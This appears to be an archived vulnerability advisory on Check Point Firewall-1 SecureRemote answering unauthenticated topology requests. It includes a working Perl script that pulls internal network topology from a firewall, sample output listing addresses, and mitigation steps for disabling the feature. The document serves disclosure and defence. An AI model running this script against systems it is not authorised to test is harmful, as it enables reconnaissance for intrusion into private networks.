COMMAND
FW-1
SYSTEMS AFFECTED
Checkpoint Firewall-1
PROBLEM
Haroon Meer found following. Checkpoint Firewall-1 makes use of
a piece of software called SecureRemote to create encrypted
sessions between users and FW-1 modules. Before remote users are
able to communicate with internal hosts, a network topology of
the protected network is downloaded to the client. While newer
versions of the FW-1 software have the ability to restrict these
downloads to only authenticated sessions, the default setting
allows unauthenticated requests to be honoured. This gives a
potential attacker a wealth of information including ip addresses,
network masks (and even friendly descriptions).
The attached file will connect to the firewall, and download the
toplogy (if SecureRemote is running) (it is a tiny perl file,
which needs only Socket, so avoids the hassle of having to install
the SecureRemote client <or booting windows> to test a firewall-1)
SensePost# perl sr.pl firewall.victim.com
Testing on port 256
:val (
:reply (
: (-SensePost-dotcom-.hal9000-19.3.167.186
:type (gateway)
:is_fwz (true)
:is_isakmp (true)
:certificates ()
:uencapport (2746)
:fwver (4.1)
:ipaddr (19.3.167.186)
:ipmask (255.255.255.255)
:resolve_multiple_interfaces ()
:ifaddrs (
: (16.3.167.186)
: (12.20.240.1)
: (16.3.170.1)
: (29.203.37.97)
)
:firewall (installed)
:location (external)
:keyloc (remote)
:userc_crypt_ver (1)
:keymanager (
:type (refobj)
:refname ("#_-SensePost-dotcom-")
) :name
(-SensePost-dotcom-Neo16.3.167.189)
:type (gateway)
:ipaddr (172.29.0.1)
:ipmask (255.255.255.255)
)
The code:
#!/usr/bin/perl
# A Command-line tool that can be used to download network Topology
# from Firewall-1's running SecureRemote, with the option "Allow un
# authenticated cleartext topology downloads".
# Usage sr.pl IP
# Haroon Meer & Roelof Temmingh 2001/07/17
# haroon@sensepost.com - http://www.sensepost.com
use Socket;
if ($#ARGV<0) {die "Usage: sr.pl IP\n";}
$port=256;
$target=inet_aton($ARGV[0]);
print "Testing $host on port $port\n";
$SENDY="410000000259052100000004c41e43520000004e28746f706f6c6f67792d726571756573740a093a63616e616d6520282d53656e7365506f73742d646f74636f6d2d290a093a6368616c6c656e67652028633265323331383339643066290a290a00";
$SENDY = pack("H*",$SENDY);
@results=sendraw($SENDY);
if ($#results == 0) {
print "No results on port 256 - trying 264\n";
$port=264;
@results2=sendraw($SENDY);
if ($#results2 == 0) {die "Sorry - no results\n";}
} else {print @results;}
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(^<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { return ""; }
}
# Spidermark: sensepostdata fw1
SOLUTION
This is a well-known, and generally accepted, risk associated with
running FWZ SecuRemote VPN's to FireWall-1. As others have
already commented, it is possible to turn off unauthenticated
topology downloads through the policy properties. If you do
this, you will need to manually distribute a userc.C file
(containing the topology information) to all of your secuRemote
users. This file should be loaded into the c:\winnt\fw\database
directory on the client.
From start to finish, the procedure should go something like this:
1. Set up you firewall gateway for VPN, with the "Respond to
unauthenticated topology requests" enabled.
2. Set up a sample secuRemote client, and download the site
topology.
3. Turn off "Respond to unauthenticated topology requests".
4. Securely distribute the file userc.C from the sample client to
all secuRemote users.
You will need to send out an updated userc.C any time there is a
change to the encryption domain or keying info.
That's not the only way to do it. An 'authenticated' connection
can download the topology data. However, the authentication
needed for this to work is a shared secret or certificate as
defined in the 'IKE' properties for the user (i.e. you can't use
things like SecurID for this bit) Once you've got the topology,
there's nothing stopping you re-authenticating with a normal
authentication method.
We do this with a seperate account set up purely for topology
downloads. This account does not have any access to the network
via the rulebase.
Checkpoint have a couple of documents available on how to set this
up, they are not that hard to find, searching for 'unauthenticated
topology downlads' in the Checkpoint knowledge base should do the
trick.